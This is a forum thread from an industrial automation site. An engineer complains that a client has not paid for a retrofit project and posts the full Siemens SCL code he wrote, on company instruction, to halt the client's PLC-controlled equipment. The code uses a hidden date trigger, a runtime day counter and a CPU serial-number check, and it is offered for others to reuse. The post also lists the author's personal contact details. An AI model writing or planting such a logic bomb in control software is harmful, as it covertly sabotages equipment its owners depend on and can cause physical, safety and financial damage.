【客户不付尾款】我们的客户不付尾款,我们拿他没有办法,大家一般怎么处理呀?

已锁定

龚生

  • 帖子

    35
  • 精华

    0
  • 被关注

    6

论坛等级:游士

注册时间:2016-11-20

普通 普通 如何晋级?

【客户不付尾款】我们的客户不付尾款,我们拿他没有办法,大家一般怎么处理呀?

7295

47

2018-01-13 22:22:33

我们的工程改造的,已经完工,按照合同应该付款80%了,现在才付款40%,发函过去也不付尾款(据说我们改造的项目就是因为他们不付尾款破产了,成了烂尾工程),我也是刚进这家公司,上次叫我过去帮用户处理一个程序问题,公司授权我在程序里面加点代码,让他运行以后过段时间停机,我按照要求写了,但是客户手上有程序,作为调试的都知道,有程序直接下载下去什么问题都没有了,拿他还真的没有办法。


我现在想和大家谈论一下,工程尾款的大家一般怎么要回来呀?我把我的代码也奉献给大家吧,300有效。


FUNCTION FC11 : VOID


KNOW_HOW_PROTECT

//#######################################################

//

// Code By Gong

// WeChat:23013014

// e-Mail:23013014@QQ.com

// mobile:186 #### ####

// 本来程序最初写了检查模拟器和MMC卡的,后来觉得用户手上有程序,意义也不大就删了

// 程序写的比较乱,凑活看着吧

//#######################################################


CONST

    ONE:=true;

    Clock:=0;

    //------------------------------

    YY:=18;

    MM:=1;

    DD:=24;    

    //------------------------------

    DAY:=86400;

    Nr_DB:=10;

    Nr_Offset:=502;

    //------------------------------

    SZL_ID:=W#16#11C;

    INDEX:=W#16#5;

    //------------------------------

    BIT_X:=60;

    BIT_Y:=0;

    BIT_P:=1;

    BIT_T:=2;   

END_CONST


VAR_INPUT        


END_VAR


VAR_IN_OUT 

    //Impulse,Aux_Impulse:BOOL; 

    //Counter_Actual:DINT;

END_VAR


VAR_OUTPUT

    

END_VAR


VAR_TEMP

    //--->DATE_AND_TIME<---

    Date_Now:DATE_AND_TIME;

    Date_Dot AT Date_Now:ARRAY[0..7] OF BYTE;

    //--->COUNT<--- 

    _day:REAL;

    _day_cmp:DINT;

    //--->CPU<---    

    _length:STRUCT

        LENTHDR:WORD;

        N_DR:WORD;

    END_STRUCT;  

    Dr:STRUCT

        SyntaxID:BYTE;

        DataType:BYTE;

        DataCount:WORD;

        _Nr:WORD;

        Byte_Pointer:DWORD;

    END_STRUCT;

    _Dr AT Dr:ANY;     

    //--->---<---

    _Dr_array:ARRAY[0..500]OF BYTE;

    _RET:INT;

    _Busy:BOOL;

    SSN:ARRAY[0..19]OF BYTE; 

    CNT:INT; 

END_VAR


    //--------------->功能开始<---------------

    //M[BIT_X,BIT_Y]:=1;

    WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=1;    

    //--------------->系统时间<---------------

    IF I11.7 THEN

        //M[BIT_X,BIT_Y]:=1;        

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,0]:=0;

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=1;

        RETURN;

    END_IF;

    IF WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,0] THEN        

        //M[BIT_X,BIT_Y]:=0;

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;

        RETURN;

    END_IF;


    Date_Now:=DATE_AND_TIME#2017-12-24-11:12:13.2;

    _RET:=READ_CLK(CDT :=Date_Now); 

    

    IF _RET<>0 THEN

        //M[BIT_X,BIT_Y]:=1;

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=1;

        RETURN;

    END_IF;         

    

    IF (BCD_TO_INT(BYTE_TO_WORD(Date_Dot[0])) = (YY-1)) OR (BCD_TO_INT(BYTE_TO_WORD(Date_Dot[0])) = YY) THEN

        IF ((BCD_TO_INT(BYTE_TO_WORD(Date_Dot[0])) = (YY-1)) AND BCD_TO_INT(BYTE_TO_WORD(Date_Dot[2])) < 26)THEN

            //M[BIT_X,BIT_Y]:=0;

            WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;

            RETURN;

        END_IF;         

        IF (BCD_TO_INT(BYTE_TO_WORD(Date_Dot[1])) = MM AND BCD_TO_INT(BYTE_TO_WORD(Date_Dot[2])) >= DD) OR (BCD_TO_INT(BYTE_TO_WORD(Date_Dot[1])) > MM) AND (BCD_TO_INT(BYTE_TO_WORD(Date_Dot[0])) = YY) THEN

            //M[BIT_X,BIT_Y]:=0;

            WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;

            RETURN;

        END_IF;          

    ELSE

        //M[BIT_X,BIT_Y]:=0;

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;

        RETURN;

    END_IF;

    //--------------->时间计时<---------------

    M[BIT_X,BIT_P]:=M[Clock,5] AND (NOT M[BIT_X,BIT_T]);

    M[BIT_X,BIT_T]:=M[Clock,5];  

          

    IF ONE AND M[BIT_X,BIT_P] THEN

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DD[Nr_Offset+6]:=DINT_TO_DWORD(DWORD_TO_DINT(WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DD[Nr_Offset+6])+1);

        //Counter_Actual:=Counter_Actual+1;

    END_IF;

    IF DWORD_TO_DINT(WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DD[Nr_Offset+6]) >= 2000000000 THEN

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DD[Nr_Offset+6]:=0;

    END_IF;

    //--------------->-----<---------------

    _day:=DWORD_TO_REAL(WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DD[Nr_Offset+2]);

    IF _day>99 OR _day<11 THEN

        //M[BIT_X,BIT_Y]:=0;

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;

        RETURN;

    END_IF;

    IF (REAL_TO_INT((_day*10)) MOD 10) <> 5 THEN

        //M[BIT_X,BIT_Y]:=0;

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;

        RETURN;

    END_IF;

    //--------------->-----<---------------

    _day_cmp:=REAL_TO_DINT(_day*10) DIV 10;

    IF DWORD_TO_DINT(WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DD[Nr_Offset+6]) >= _day_cmp*DAY THEN

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,0]:=1;

        //M[BIT_X,BIT_Y]:=0;

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;

        RETURN;

    END_IF;    

    //--------------->读取CPU<---------------

    Dr.SyntaxID:=16#10;

    Dr.DataType:=16#02;

    Dr.DataCount:=16#1F5;

    Dr._Nr:=16#0;

    Dr.Byte_Pointer:=DW#16#870000F0;

    

    _RET:=RDSYSST(REQ :=ONE

            ,SZL_ID :=SZL_ID

            ,INDEX :=INDEX

            ,BUSY :=_Busy

            ,SZL_HEADER :=_length

            ,DR :=_Dr

            );

            

    IF _RET<>0 THEN

        //M[BIT_X,BIT_Y]:=1;

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=1;

        RETURN;

    END_IF;

                        

    SSN[0]:=B#16#00;

    SSN[1]:=B#16#05;

    SSN[2]:=B#16#53;

    SSN[3]:=B#16#20;

    SSN[4]:=B#16#43;

    SSN[5]:=B#16#2D;

    SSN[6]:=B#16#41;

    SSN[7]:=B#16#36;

    SSN[8]:=B#16#56;

    SSN[9]:=B#16#4E;

    SSN[10]:=B#16#38;

    SSN[11]:=B#16#36;

    SSN[12]:=B#16#32;

    SSN[13]:=B#16#32;

    SSN[14]:=B#16#32;

    SSN[15]:=B#16#30;

    SSN[16]:=B#16#31;

    SSN[17]:=B#16#30;

    SSN[18]:=B#16#00;

    SSN[19]:=B#16#00;    

    

    FOR CNT:= 0 TO 19 BY 1 DO        

    IF SSN[CNT] <> _Dr_array[CNT] THEN

        //M[BIT_X,BIT_Y]:=0;

        WORD_TO_BLOCK_DB(INT_TO_WORD(Nr_DB)).DX[Nr_Offset,1]:=0;        

        RETURN;

    END_IF;


    END_FOR;


    RETURN;

    

END_FUNCTION



【客户不付尾款】我们的客户不付尾款,我们拿他没有办法,大家一般怎么处理呀? 已锁定
编辑推荐: 关闭

请填写推广理由:

本版热门话题

SIMATIC S7-300/400

共有54049条技术帖

相关推荐

热门标签

相关帖子推荐

guzhang

恭喜,你发布的帖子

评为精华帖!

快扫描右侧二维码晒一晒吧!

再发帖或跟帖交流2条,就能晋升VIP啦!开启更多专属权限!

top
您收到0封站内信:
×
×
信息提示
很抱歉!您所访问的页面不存在,或网址发生了变化,请稍后再试。